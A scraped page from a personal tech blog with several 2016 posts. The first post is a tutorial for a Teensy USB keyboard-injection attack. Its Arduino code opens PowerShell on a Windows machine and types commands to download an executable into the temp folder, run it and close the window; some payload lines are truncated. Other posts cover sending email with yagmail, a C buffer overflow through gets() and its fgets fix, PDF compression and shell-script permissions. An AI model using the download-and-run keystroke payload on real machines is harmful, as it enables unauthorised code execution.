Arduino (1) Brainf**k (1) Bugs (3) C (1) HTML (1) Install (3) Linux (27) Maths (1) Python (12) Raspberry Pi (4)

Tuesday, 20 December 2016

HID keyboard attacks on Windows with a Teensy 3.1

The Teensy 3.1 is a small USB development board similar to Arduino and can be programmed using the Arduino ide. The Teensy board has the ability to act as a USB HID device like a keyboard or mouse and this is what allows us to exploit most computers as most computers have no security when it comes to keyboards or mice.

Things we will be doing:
  • Install the Arduino ide
  • Install the Teensy libraries
  • Setting up the Teensy
  • Programming the Teensy to run code on the test PC

Installing the Arduino ide:
Download the version of Arduino you need whether it be Linux or Windows.
Download the windows installer and run the .exe file. The setup should be relatively easy to follow.

Download the Arduino archive.
To extract the archive use the command:
tar xf filename.tar.xz

Then run the script using the command:
sudo sh
Make sure you note down where you install Arduino as we need this is the next step.

Installing the Teensy libraries:
Download the version of teensyduino that you need whether it be Linux or Windows.
Download the udev rules file if you are on linux.
To add the udev rules run the command:
sudo cp 49-teensy.rules /etc/udev/rules.d/
Now run the executable that we downloaded before and follow the steps.

Setting up the Teensy:
We need to set the Arduino IDE board to Teensy 3.1/3.2. This can be done by going to tools, board, Teensy 3.1/3.2. We also need to change the USB type to Keyboard. This can be done by going to tools, USB Type, Keyboard.

Programming the Teensy:
Go and check out the documentation provided by pjrc here for emulating a keyboard with the Teensy.

Before we actually start programming the Teensy we need to plan out what we will be doing.
  1. Open powershell
  2. Download and run the executable
  3. Close the window
Step 1(Open powershell):
We need to open powershell which can be done by pressing the keys:
Note that we will need delays within this code so you may have to play around with the size of these as a slow computer will need a longer delay.
int smalldelay = 500;
int largedelay = 5000;
void setup() {} //So far no setup is needed
void send_keys(){ //Reduce repitition in code
    Keyboard.send_now();  //Send current keys
    Keyboard.set_modifier(0);  //Set modifier to no key
    Keyboard.set_key1(0);  //Set key1 to no key
    Keyboard.set_key2(0);  //Set key2 to no key
    Keyboard.send_now();   //Send the blank keys
void press_enter(){ //Reduce repititon in code
    Keyboard.set_key1(KEY_ENTER);  //Set key to enter key
    send_keys();  //Call send_keys function to send the key then clear
void loop() { 
    delay(10000); //Delay for 10 seconds for time to upload code
    Keyboard.set_modifier(MODIFIERKEY_GUI);  //Set modifier to the windows key
    Keyboard.set_key1(KEY_R);  //Set key1 to the key "r"
    send_keys();  //Call send_keys function
    delay(smalldelay);  //Delay to allow windows run box to open
    Keyboard.print("powershell");  //Type the line "powershell"
    press_enter();  //Call press_enter function to press the enter key
    delay(largedelay);  //Delay to allow powershell to open
    Keyboard.print("dir");  //Type "dir" to the powershell
    press_enter();  //Call the press_enter function to press the enter key
    delay(50000);  //Delay for 50 seconds before looping again

This code will powershell and run the command dir(We can remove this later as its only used
as an example).
Note the 10 second delay at the start of the loop is needed otherwise the Teensy will
start to overwrite your code when plugged in.

Step 2 and 3:
To download the executable that we will be running we need to run the following powershell commands:
$client = new-object System.Net.WebClient
start $env:Temp\a.exe

We need to add the following lines of code after the last enter press
Keyboard.print("$client = New-Object System.Net.WebClient");
\"$env:TEMP\\a.exe\") ; start $env:TEMP\\a.exe ; exit");
This will now download a file from wherever you point it at and run the file, it then closes the window.
Note the backslashed before the double quotes is to prevent them from closing the string.

You will most likely have to change the delays within the code as some systems can take a fair amount of time to open powershell which is one of the limitations of the attack.

Tuesday, 13 December 2016

How to send emails in Python

We are going to be using the yagmail library to send a email using python.

To start of we will need to install the yagmail python library.
pip install yagmail

If you don't have pip installed you can install using the following commands depending on your OS.

Debian systems:
sudo apt-get install python-pip

sudo yum upgrade python-setuptools
sudo yum install python-pip python-wheel

Arch Linux:
sudo pacman -s python2-pip

sudo zypper install python-pip python-setuptools python-wheel

Now we will test that the library has been installed with a simple python script.

import yagmail

Run this script and if it produces no errors you are good to go.

Now we can get started sending emails.

First we need to import the necessary libraries(yagmail, time).
import yagmail
import time

Now lets setup the variables that are going to be sent in the email
subject = "Sent from Python at " + time.strftime("%D:%M:%Y")
message = "Hello, World!"
sender_email = "YOUR_EMAIL"
sender_password = "YOUR_PASSWORD"
recipient_email = "RECIPIENT_EMAIL"

Now lets send the email
yag = yagmail.SMTP(sender_email, sender_password)
yag.send(recipient_email, subject, message)

Putting all of that together we get:
import yagmail
import time

subject = "Sent from Python at " + time.strftime("%D:%M:%Y")
message = "Hello, World!"
sender_email = "YOUR_EMAIL"
sender_password = "YOUR_PASSWORD"
recipient_email = "RECIPIENT_EMAIL"

yag = yagmail.SMTP(sender_email, sender_password)
yag.send(recipient_email, subject, message)

If we run this script you should have a sent a email using less than 10 lines of python.

Link to yagmail GitHub

Saturday, 10 December 2016

Buffer Overflow Variable writing in C

Buffer overflows usually stem from code that has been badly written and not included the necessary checks to prevent them.

Vulnerable code:
int main(){
        char buffer[5];
        char a[2];
        char b[2];
        printf("Enter a string: ");
        printf("Contents of buffer:%s\n",buffer);
        printf("Contents of a:%c\n",a);
        printf("Contents of b:%c\n",b);
To compile this code use this command
gcc bufferOverflow.c -fno-stack-protector
Now lets try inputting 5 characters:
Enter a string:aaaaa
Contents of buffer:aaaaa
Contents of a:
Contents of b:
At the moment it is running well without any errors and not overflowing into the variables a and b, this is because we are not exceeding the size of the buffbuffer overflower.

Lets increase it to 6:
Enter a string:aaaaa
Contents of buffer:aaaaa
Contents of a:
Contents of b:
a and b are still empty.

After some trial and error I managed to write into the variable b using 15 characters.
Enter a string: aaaaaaaaaaaaaaa
Contents of buffer:aaaaaaaaaaaaaaa
Contents of a:
Contents of b:a
Using 16 characters I have managed to indirectly write into the memory which holds the values of a and b.

If you input more characters at some point you will cause a segmentation fault as the program is trying to access memory that it doesn't have access to.
Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Contents of buffer:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Contents of a:a
Contents of b:a
Segmentation fault (core dumped)
To fix the code we need to change the gets function to fgets.
int main(){
        char buffer[5];
        char a;
        char b;
        printf("Enter a string: ");
        fgets(buffer, sizeof(buffer), stdin);
        printf("Contents of buffer:%s\n",buffer);
        printf("Contents of a:%c\n",a);
        printf("Contents of b:%c\n",b);
Now no matter what we enter to the program it will never write more characters than the size of the buffer to the buffer.
Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Contents of buffer:aaaa
Contents of a:
Contents of b:
Only 4 characters are printed as fgets includes the newline character at the end of the input.

Friday, 9 December 2016

Shrink a PDF on linux

You can shrink a pdf using this command:

ps2pdf -dPDFSETTINGS=/"OPTION" BiggerPdf.pdf SmallerPDF.pdf

To change the amount of compression change "Option" to:
screen - Low quality
ebook - Med quality
printer - High quality

Monday, 5 December 2016

Creating a excutable shell script

When writing shell scripts you can use .sh file extension and run using the sh command.

You can make your shell script executable and run using ./

To make it like this we need to do 2 things:
Change the file permissions
Define the interpreter/shell we will be using in the script.

Changing the file permissions:
Run the command:
chmod 0755
This will allow all users to run the script

To only allow the current user to run the script run:
chmod 0700

Defining the shell within the script:
Add the following line to the start of the script
Depending on which one you are using.

Now you can run your script by typing